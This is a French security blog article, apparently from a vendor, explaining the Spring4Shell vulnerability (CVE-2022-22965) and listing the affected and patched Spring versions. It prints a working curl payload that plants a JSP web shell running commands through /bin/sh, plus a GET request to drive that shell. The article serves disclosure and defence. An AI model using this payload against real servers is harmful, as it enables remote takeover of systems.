Quelques mois seulement après que Log4Shell a brutalement secoué notre monde, lorsque les choses ont recommencé à paraître calmes et paisibles, les dieux de la vulnérabilité se sont déchaînés sur nous. Une autre vulnérabilité portant le même nom dans un framework Java populaire –  Spring4Shell  – a été révélée.

CVE-2022-22965 est-il aussi dangereux et aussi répandu que son frère (un peu) plus âgé ?  Restez avec nous pour le savoir !

Qu’est-ce que Spring4Shell ?

Spring4Shell ou  CVE-2022-22965  est une vulnérabilité d’exécution de code à distance dans Java Spring Framework qui est causée par la possibilité de transmettre des valeurs contrôlées par l’utilisateur à diverses propriétés du ClassLoader de Spring. Cela ouvre la possibilité à un attaquant distant non authentifié d’injecter un shell Web et d’obtenir RCE.

Comment fonctionne Spring4Shell

Comme mentionné précédemment, vous devez jouer avec le ClassLoader et arriver au point où vous pouvez  réussir à injecter un shell Web dans le système cible . Il peut y avoir différentes approches pour exploiter cette vulnérabilité en fonction de l’application qui s’exécute au-dessus de Spring Framework.

Pour l’instant, la plupart des serveurs Apache Tomcat semblent être ciblés par divers PoC publiés. C’est pourquoi nous allons maintenant continuer à décrire comment notre collègue,  Jules, a développé le  module d’exploit  ciblant les serveurs Web Apache Tomcat qui vous aide à obtenir la validation de la vulnérabilité.

L’idée est d’utiliser le ClassLoader pour écraser les propriétés critiques dans la fonctionnalité de journalisation, ce qui conduira  l’enregistreur à créer un shell Web au lieu d’un fichier journal .

Les propriétés sont les suivantes :

  1. class.module.classLoader.resources.context.parent.pipeline.first.pattern. Cela dicte le contenu du fichier journal. C’est ici que vous souhaitez placer votre code Web Shell.
  2. class.module.classLoader.resources.context.parent.pipeline.first.prefix. Le préfixe fait référence au nom du fichier journal. C’est ici que vous nommez votre fichier shell Web.
  3. class.module.classLoader.resources.context.parent.pipeline.first.suffix. Le suffixe indique l’extension du fichier journal. Celui-ci doit être .jsp.
  4. class.module.classLoader.resources.context.parent.pipeline.first.directory. La propriété directory détermine l’emplacement du fichier journal. Si le répertoire racine est accessible à distance, vous pouvez utiliser webapps/ROOT comme valeur pour la propriété de répertoire et vous devriez pouvoir interagir avec votre shell Web en accédant à /.jsp
  5. class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat. Celui-ci est facultatif et contribue à améliorer la qualité de vie de l’attaquant car il supprime les horodatages de journalisation encombrants de la sortie si la propriété est laissée vide.

Impact commercial de CVE-2022-22965

Lorsqu’il est exploité avec succès, Spring4Shell permet à un attaquant distant non authentifié d’obtenir le contrôle de la cible et de compromettre l’ensemble du système sous-jacent.

Bien que cela ressemble à une affaire effrayante, comme si c’était Log4Shell encore une fois, gardez à l’esprit que les PoC circulant sur Internet ciblent une application vulnérable déployée sur Tomcat en tant que WAR qui n’est pas la configuration par défaut.

Cela me porte à croire que les cibles vulnérables ne seront pas aussi faciles à trouver que dans le cas de Log4Shell .

Cependant, l’ensemble de la communauté de la sécurité a prouvé à maintes reprises qu’elle regorge d’esprits brillants et capables, capables de tirer parti des méthodes d’exploitation les plus impensables.

Ainsi, même si vous n’exécutez pas la configuration susmentionnée,  veuillez envisager de mettre à jour vers l’une des versions corrigées  répertoriées ci-dessous.

Comment détecter manuellement Spring4Shell dans les engagements de piratage éthique

Voici une commande curl que vous pouvez utiliser pour télécharger un shell Web sur une cible vulnérable. Il suit les mêmes 5 étapes décrites dans la section « Comment fonctionne Spring4Shell » et contient les éléments suivants :

  • le code du shell Web dans le modèle
  • l’extension .jsp dans le suffixe
  • le répertoire racine webapps/ROOT dans la propriété directory
  • le webshell_name dans le préfixe 
  • le fileDateFormat laissé vide.
curl -H "prefix":"<%" -H "suffix":"%>//" -H "c":"Runtime" -H
"Content-Type":"application/x-www-form-urlencoded" -d
'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(new String[]{%22/bin/sh%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' http://127.0.0.1:/

Une fois le shell Web téléchargé dans le répertoire racine, vous y accédez et fournissez des commandes avec la requête GET suivante :

curl http://127.0.0.1:/.jsp?cmd=

Versions Spring vulnérables

Nom du produitVersions vulnérablesGamme
Spring Framework5.3.x5.3.0 – 5.3.17
Spring Framework5.2.x5.2.0 – 5.2.19

Comment atténuer CVE-2022-22965

Les utilisateurs de Spring Framework exécutant des versions vulnérables 5.3.x doivent effectuer une mise à niveau vers 5.3.18 ou une version plus récente immédiatement, tandis que les utilisateurs exécutant des versions 5.2.x doivent effectuer une mise à niveau vers au moins 5.2.20.

Impact estimé de Spring4Shell et vue d’ensemble

Avec  16 % des organisations  dans le monde touchées par la vulnérabilité Spring4Shell RCE et environ  28 % de l’industrie du logiciel , l’identification et la correction des actifs critiques pour l’entreprise restent une priorité absolue.

Les vulnérabilités à haut risque telles que Spring4Shell et Log4Shell  nous rappellent à quel point l’écosystème technologique peut être fragile sans des évaluations de sécurité proactives, une sécurité multicouche et une formation de sensibilisation qui imprègne les équipes et les rôles.

Si vous avez apprécié ce guide technique et mieux compris les spécificités de cette CVE, comptez sur nous pour en couvrir davantage dans les articles suivants.